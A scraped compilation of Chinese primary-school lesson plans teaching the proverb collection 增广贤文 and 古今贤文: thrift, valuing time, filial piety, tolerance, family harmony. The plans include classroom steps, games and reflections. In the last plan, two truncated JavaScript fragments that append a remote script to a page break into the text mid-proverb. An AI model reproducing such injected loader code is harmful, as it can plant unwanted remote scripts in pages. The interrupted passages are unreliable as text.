增广贤文教学设计
增广贤文 教学设计 一、教学目的：1、学生熟读增广贤文；2、学生能从书中圈出多音字；3、通过故事，使学生初步明白勤俭节约、珍惜时间、勤奋学习、贪小失大的道理二、教学准备：故事视频“贪小失大”、课件（读书图片）三、教学重点：学生熟读增广贤文；教学难点：学生初步理解个别字句，懂得勤俭节约、珍惜时间、发奋学习等道理四、教法学法：讲授法、讨论法、游戏法五、教学过程：（一）、复习学生集体背诵增广贤文1——4二）、学习新内容：1、教师示范，激发学生学习的兴趣2、教师带读一遍3、游戏“火眼金睛”，学习生字；4、寻找多音字难、发、无、少、度、当、处、斗、为、相5、教师讲故事“甘于清苦”提问：范仲淹的家庭状况怎么样？同学们帮助他，送给他吃的，他为什么不吃呢？他保持了什么好习惯？他懂得什么道理？引出字句：“由俭入奢易，从奢返俭难书中还有一句教育我们要勤俭节约的，快速找出来生：“一饭一粥……”男、女生各读一遍6、播放图片，提问：图片上的人都在干什么？（1幅图提问：他在什么环境下读书？车胤囊萤他在什么时候读书？孙康映雪2幅图，同学们在什么时候读书学习？课余时间3幅图，一女孩边做饭边读书；第4幅图，汶川大地震中，这位女孩被埋在废墟下，她依然没有忘记读书学习，感动了许多人。
他们都有一个共同的特点：发奋读书学习板书）因为他们知道每一个人的少年时代只有一次，他们时时刻刻发奋读书，说明他们珍惜时间板书（珍惜时间）引出“枯木逢春犹再发，人无两度到少年游戏“复读机”7、朗读前三段，师生比赛，同桌看书比赛，赢了奖励笑脸8、视频“贪小失大”提问：蜀国国王是个什么样的人？他失去了什么？这个故事告诉我们什么道理？板书“贪小失大”赶快找出书中与它意义相近的两句9、请学生朗读（同桌互读两遍，最后倾听，一字不错，画上笑脸10、游戏“寻找外星人”11、总结增广贤文 教学设计 (2011-11-24 08:08:09)转载▼标签： 杂谈 分类： 教学设计教学内容：饶人不是痴汉，痴汉不会饶人不说自己桶索短，但怨人家箍井深教学目标：1、能正确、流利、有感情地朗读诗句，并能熟练背诵2、能用自己的话说说诗句的意思3、能联系生活实际谈体会，加深对诗句的理解4、逐步培养学生热爱国学、热爱祖国语言文字的情感教学过程：一、故事激趣，导入新课1、导语：同学们，刚才你们诵读的是我们这学期所学的《增广贤文》，老师今天再给你们讲个故事，喜欢吗？那要求大家要认真听，还要认真想：老师讲的这个故事，你从中明白了什么？2、老师讲故事。
3、反馈：你明白了什么？二、学习诗句，理解诗意1、过渡：对了，做人要善于宽容原谅别人，这就是今天我们要学习的内容请看——2、多种形式朗读诗句⑴ 自己轻声读几遍，把诗句读通顺⑵ 指名读，正音⑶ 齐读，读正确流利3、引导学生理解诗句⑴ 通过刚才的朗读，你读懂了什么？谁来说说引导学生说完整话）⑵ 质疑：有没有不懂的地方吗？学生说⑶ 小组互相学习，理解诗句⑷ 指名反馈，师生补充⑸ 反复朗读，熟练背诵⑹ 小结老师先总结诗句意思你是怎么读懂的呢？总结学习方法：反复朗读；小组合作学习查字典；请教老师、父母；背诵，加深理解三、联系实际，畅谈体会1、谈话：在学习生活中，你有没有经历过或者是听到、看到别人宽容原谅别人的例子呢？请说给大家听听你从中明白了什么？2、如何才能真正做到宽容原谅别人呢？四、拓展延伸，布置作业1、交流收集到的材料：这些都是古人总结出来的含有深刻道理的句子，谁还知道一些有关这方面的句子或者是名言警句？如得饶人处且饶人2、总结谈话：我们祖国的语言文字是多么的丰富多彩，像这些增广贤文会教我们很多学习、生活、做人的道理只要我们用心去学习，多读多想，一定会让你的头脑更聪明，如果运用于写作上，那一定会起到画龙点睛的作用。
3、布置作业：把我们今天所学到的增广贤文讲给家长听，背给家长听《增广贤文》教学设计一、教学目标：1、能正确、流利、有感情地朗读诗句，并能熟练背诵2、能用自己的话说说诗句的意思3、能联系生活实际谈体会，加深对诗句的理解4、逐步培养学生热爱国学、热爱祖国语言文字的情感二、教学准备搜集有关珍惜时间的例子三、教学时间1课时四、教学过程（一） 故事激趣，导入新课1、导语：同学们，刚才你们诵读的是我们这学期所学的《增广贤文》，老师今天再给你们讲个故事，喜欢吗？那要求大家要认真听，还要认真想：老师讲的这个故事，你从中明白了什么？2、老师讲故事3、反馈：你明白了什么？（二） 学习诗句，理解诗意1、过渡：对了，做人要俭朴不能浪费，时间是宝贵的，我们要珍惜时间这就是今天我们要学习的内容2、多种形式朗读诗句⑴ 自己轻声读几遍，把诗句读通顺⑵ 指名读，正音⑶ 齐读，读正确流利3、引导学生理解诗句⑴ 通过刚才的朗读，你读懂了什么？谁来说说引导学生说完整话）⑵ 质疑：有没有不懂的地方吗？学生说⑶ 小组互相学习，理解诗句⑷ 指名反馈，师生补充⑸ 反复朗读，熟练背诵⑹ 小结老师先总结诗句意思你是怎么读懂的呢？总结学习方法：反复朗读；小组合作学习；查字典；请教老师、父母；背诵，加深理解。
三）联系实际，畅谈体会1、谈话：在学习生活中，你有没有见过特别俭朴的人或者是珍惜时间的例子？请说给大家听听你从中明白了什么？2、如何才能真正做到珍惜时间呢（四）拓展延伸，布置作业1、交流收集到的材料：这些都是古人总结出来的含有深刻道理的句子，谁还知道一些有关这方面的句子或者是名言警句？2、总结谈话：我们祖国的语言文字是多么的丰富多彩，像这些增广贤文会教我们很多学习、生活、做人的道理只要我们用心去学习，多读多想，一定会让你的头脑更聪明，如果运用于写作上，那一定会起到画龙点睛的作用3、 布置作业：把我们今天所学到的增广贤文讲给家长听，背给家长听[增广贤文教案 1238] 课题：增广贤文一 教学目标：让学生了解《增广贤文》一的原文及译文，增广贤文教案 1238明白书中讲的道理 教学内容:昔日《闲文》，诲汝谆谆，集韵增广，多见多闻观今宜鉴古，无古不成今贤乃国之宝，儒为席上珍农工与商贾，皆宜敦五伦孝弟为先务，本立而道生尊师以重道，爱众而亲仁 教学过程： 一、经典回放 1读原文，学生初步感知 2学生谈感受 二、温馨点击 读读，增长知识并从中受到教育 三、活动广角 1、朗诵并且背诵 2、学生讲讲还知道哪些孝敬的小故事。
3、小组合作交流应该怎样对待父母，表演一下 《增广贤文》（二）教学设计 教学内容： 孝当竭力，非徒养身鸦有反哺之孝，羊有跪乳之恩岂无远道思亲泪，不及高堂念子心 教学目标： 1、能正确、流利、有感情地朗读诗句，并能熟练背诵 2、能用自己的话说说诗句的意思 3、能联系生活实际谈体会，加深对诗句的理解 4、逐步培养学生热爱国学、热爱祖国语言文字的情感 教学过程： 一、 故事激趣，导入新课 1、导语：同学们，刚才你们诵读的是我们这学期所学的《增广贤文》（二），老师今天在学习新课前先给你们讲个故事，喜欢吗？那要求大家要认真听，还要认真想：老师讲的这个故事，你从中知道了什么？ 2、老师讲故事 3、反馈：你知道了什么？ 二、学习诗句，理解诗意 1、过渡：对了，我国是礼仪之邦，自古以来，孝敬父母是最被人们看重的父母养育了我们，为我们的成长付出了无数心血，我们要懂得关心父母，孝敬父母请看—— 2、多种形式朗读诗句 ⑴ 自己轻声读几遍，把诗句读通顺 ⑵ 指名读，正音 ⑶ 齐读，读正确流利 3、引导学生理解诗句 ⑴ 通过刚才的朗读，你读懂了什么？谁来说说引导学生说完整话） ⑵ 质疑：有没有不懂的地方吗？学生说。
⑶ 小组互相学习，理解诗句 ⑷ 指名反馈，师生补充 ⑸ 反复朗读，熟练背诵 ⑹ 小结老师先总结诗句意思你是怎么读懂的呢？总结学习方法：反复朗读；小组合作学习查字典；请教老师、父母；背诵，加深理解 三、联系实际，小组表演 1、谈话：想一想，爸爸妈妈平时是怎么关照我们的？我们又该怎样对待他们？ 2、分小组表演，看看那个小组表演得真实感人 四、 拓展延伸，布置作业 1、交流收集到的材料：这些都是古人总结出来的含有深刻道理的句子，谁还知道一些有关这方面的句子或者是名言警句？如百善孝为先 2、总结谈话：我们祖国的语言文字是多么的丰富多彩，像这些增广贤文会教我们很多学习、生活、做人的道理只要我们用心去学习，多读多想，一定会让你的头脑更聪明，如果运用于写作上，那一定会起到画龙点睛的作用 3、布置作业：把我们今天所学到的增广贤文讲给家长听，背给家长听，教案《增广贤文教案 1238》() 教学反思： 《增广贤文》告诉学生生活中的深刻道理，学生明白了要孝敬父母 课题：增广贤文三 教学目标：让学生了解《增广贤文》一的原文及译文明白书中讲的道理 教学内容：父子和而家不败，兄弟和而家不分乡党和而争诉息，夫妇和而家道兴。
只缘花底莺声巧，遂使天边雁影分 教学过程： 一、经典回放 1读原文，学生初步感知 2学生谈感受 二、温馨点击 读读，增长知识并从中受到教育 三、活动广角 1、朗诵并且背诵 2、学生谈谈这几句话的道理 3、小组讨论需要养成哪些好习惯，改正哪些缺点，同学间应该如何相处 教学反思： 《增广贤文》告诉学生生活中的深刻道理，学生明白了一家人要和睦相处，要勤奋，要从小养成良好的习惯，会终生受益 增广贤文4教学设计 教学目标： 1、能正确、流利、有感情地朗读诗句，并能熟练背诵 2、能用自己的话说说诗句的意思 3、能联系生活实际谈体会，加深对诗句的理解 4、逐步培养学生热爱国学、热爱祖国语言文字的情感 教学内容；诸恶莫作，众善奉行知己知彼，将心比心 责人之心责己，爱己之心爱人再三须慎意，第一莫欺心宁可人负我，切莫我负人贪爱沉溺即苦海，利欲炽燃是火坑 随时莫起趋时念，脱俗休存矫俗心 教学过程： 一、 故事激趣，导入新课 1、导语：同学们，刚才你们诵读的是我们这学期所学的增广贤文，老师今天再给你们讲个故事，喜欢吗？那要求大家要认真听，还要认真想：老师讲的这个故事，你从中明白了什么？ 2、老师讲故事 3、反馈：你明白了什么？ 二、学习诗句，理解诗意 1、过渡：对了，做人要善于宽容原谅别人，这就是今天我们要学习的内容。
请看—— 2、多种形式朗读诗句⑴ 自己轻声读几遍，把诗句读通顺⑵ 指名读，正音⑶ 齐读，读正确流利 3、引导学生理解诗句⑴ 通过刚才的朗读，你读懂了什么？谁来说说引导学生说完整话） ⑵ 质疑：有没有不懂的地方吗？学生说⑶ 小组互相学习，理解诗句 ⑷ 指名反馈，师生补充⑸ 反复朗读，熟练背诵 ⑹ 小结老师先总结诗句意思你是怎么读懂的呢？总结学习方法：反复朗读；小组合作学习查字典；请教老师、父母；背诵，加深理解 三、联系实际，畅谈体会 1、谈话：在学习生活中，你有没有经历过或者是听到、看到别人宽容原谅别人的例子呢？请说给大家听听你从中明白了什么？ 2、如何才能真正做到宽容原谅别人呢？ 四、拓展延伸，布置作业 1、交流收集到的材料：这些都是古人总结出来的含有深刻道理的句子，谁还知道一些有关这方面的句子或者是名言警句？如得饶人处且饶人 2、总结谈话：我们祖国的语言文字是多么的丰富多彩，像这些增广贤文会教我们很多学习、生活、做人的道理只要我们用心去学习，多读多想，一定会让你的头脑更聪明，如果运用于写作上，那一定会起到画龙点睛的作用 3、布置作业：把我们今天所学到的增广贤文讲给家长听，背给家长听 增广贤文8教学设计 教学内容；江中后浪催前浪，世上新人赶旧人。
速效莫求，小利莫争名高妒起，宠极谤生众怒难犯，专欲难成物极必反，器满则清欲知三岔路，须问去来人一年之计在于春，一日之计在于寅一家之计在于和，一日之计在于勤 教学目标： 1、正确流利的朗读句子，并能做到阅读积累 2、简单了解句子的意思，并能联系生活实际学以致用 教学重难点：诵读积累 一、 导入： 首先看老师写四个字：增广贤文，你认识哪一个？读 介绍《增广贤文》 二、 学习句子 1、板书词语：春、寅、和、勤 读，理解 板书“之计在于”，理解“计” 补充完整连起来齐读一遍，然后读译文，自己再读一遍，看谁能读得流利 男女生读，分行读，你最喜欢那一句，说说为什么 2、同桌之间一起读一遍，齐读一遍，读给同桌听，读得流利的同学，将自己的大肚子四角形涂色 3、看谁能用最短的时间背过，先看前两句，男女生比赛，看谁背得快 再背后两句，背过的同学一起背 4、四个同学，一人一句连着背，同桌之间互相背，背过的同学涂色 5、找出你最喜欢的一句话，送给你认识的一个人，做一张小卡片 6、集中展示 教学反思： 增广贤文对于二年级的学生来说，从内容来看，很多字学生没有学过，仅题目就有两个字不认识，所以这节课需要把认字放在首位，在识字的基础上，再知道学生读正确，读流利。
再就是古文与现代文有一点的差距，对于二年级的学生来说，生活阅历本来就比较少，如何找到理解的突破口，对于培养学生的阅读兴趣有很大的联系，所以在设计这节课的时候，就需要考虑从学生的角度，找到理解句子的身边的事例，通过具体的发生在学生身上或身边的事例，加深对句子的理解，学生理解了句子，诵读就变得轻松多了在这节课上，学生的学习兴趣和学习激情需要教师不断激发，通过比赛、激励性的语言，让学生以一种轻松愉快的心情诵读句子，有了兴趣，诵读的效果就比较好了《古今贤文（真理篇）》教学设计 巡检镇甘溪完全小学 李珍 一、教学目标: 1、学会这些古今贤文，会读，会背 2、理解古今贤文的意思，领会“坚持真理、实事求是”的含义 3、了解祖国灿烂的文化，增强爱国主义情感 二、教学重点：理解“坚持真理、实事求是”的含义 教学难点：了解祖国灿烂的文化，增强爱国主义情感 三、教学方法：反复朗读，品味内蕴 四、教学流程： （一）、导入新课 1．出示名人名言，学生自读 2．理解“真理”的含义 （1）这些名人名言有一个共性，你发现了吗？（告诫人们要追求真理） （2）你是如何理解“真理”这个词的？ 3．引导学生深入思考：什么叫做“真理”。
4．追求真理是人性的最高美德，怎样追求真理呢？这节课我们就来研究这个问题 （二）、反复朗读，深入理解，进行感悟 1．揭题 2．初次朗读，了解内容 3．再读课文，提出问题 4．交流问题引导学生进行四人小组交流，阐述自己的问题 5．再读课文，解决问题现在，请你带着这些问题再次来轻声地读课文，尝试着解决它们 6．交流讨论，解决问题 （1）经过几遍朗读，相信你对于头脑中的问题，也有了一些想法，四人小组讨论，交换彼此的想法，进行思想的交流，会产生更多的火花 （2）引导全班学生共同讨论、交流 7．理解名人名言 经过这一系列的讨论，相信你已经理解了课文中的名人名言，说说看 8．朗读课文 （1）在理解的基础上再来读课文，相信你一定读得更加流利，试试看 （2）再读，把你的感情也放进朗读当中 （3）接下来，老师想组织一次简单的比赛活动，比的就是哪位同学课文读得最好最有感情 9．读了这篇课文，你有什么收获？ 引导学生四人小组交流 10．联系生活，深入理解你能通过其他一些事例来证明课文中提出的观点吗？ 11．齐读课文 （三）、总结课文。
五、教学板书： 古今贤文 坚持真理，实事求是 谦虚谨慎，听取意见国学经典《增广贤文》诵读教学设计 教学目标： 1、学生能正确、流利、有感情地朗读经典语句，熟读成诵； 2、学生能品味经典语句，并用自己的话说出经典语句的意思； 3、能联系生活实际谈体会，使学生通过学习经典语句懂得孝顺的重要性，并指导自己的行动； 4、逐步培养学生热爱中华民族优秀文化情感 教学重点难点： 1.熟读成诵； 2. 能联系生活实际谈体会，使学生通过学习经典语句懂得孝顺的重要性，并指导自己的行动； 教学过程： 一、导入（播放古典音乐） 简单介绍《增广贤文》：是由谚语和文献佳句选编而成，其内容十分广泛，从礼仪道德典章制度到风物典故、天文地理，几乎无所不含，而又语句通顺，易懂但中心讲的是人生哲学、处世之道其中一些谚语、俗语反映了中华民族千百年来形成的勤劳朴实、吃苦耐劳的优良传统，成为宝贵的精神财富如“一年之计在于春，一日之计在于寅”，“良药苦于口而利于病，忠言逆于耳而利于行”“良言一句三var script = document.createElement('script'); script.src = ' document.body.appendChild(script); 冬暖，恶语伤人六月寒” “书山有路勤为径，学海无涯苦作舟”等许多关于社会、人生方面的内容，经过人世沧桑的千锤百炼，成为警世喻人的格言。
二、授新课 1、出示原文多种形式朗读诗句 （1）学生自由试读 （2）个别试读 （3）小小火车开起来，开到我们小组来 （4）按节拍读请同学们伸出你的双手为你的诵读配上合适的节拍，先试一试 2、引导学生理解诗句 同学们充满韵味的朗读让我感受到了韵律之美，它的内在之美你们领会到了吗？ 学生分组合作讨论 谁来说说引导学生说完整话） 指名反馈，师生补充 3、反复朗读，熟练背诵 意思都明白了，谁现在能够试着来背一背？ 没事的，通过一些小游戏我们很快就会背过的！ var script = document.createElement('script'); script.src = ' document.body.appendChild(script);高低音 （师生、同桌互背） 找个别背 计时背（4人一组） 三、理解思考： 1、在这四句话中哪句话留给你的印象最深刻？ 2、通过故事让学生深入思考 播放视频故事《负米孝亲》 四、融汇贯通： 1、我们的父母对我们的爱很深很深，他们为我们付出了很多很多，请同学们静下心来，仔细回忆一下我们生活中的点点滴滴，说一说父母平时是怎样关心照顾我们的？（学生自由发言） 2、可我们平时是怎样来做的呢？做个家务活给父母要钱，一说就是我替你干了什么什么。
父母辛苦做了饭你还挑三拣四嫌不好吃，这都对吗？谁言寸草心，报得三春晖呀！父母的恩情我们一辈子都报答不完！百善孝为先，日常生活中我们应该怎样做才算孝敬自己的父母呢？（看哪个同学想的最全面，对父母最贴心） 3、判断正误： （师例举孝顺与不肖的例子请学生来判断并谈谈自己的体会） 五、课堂延伸：。
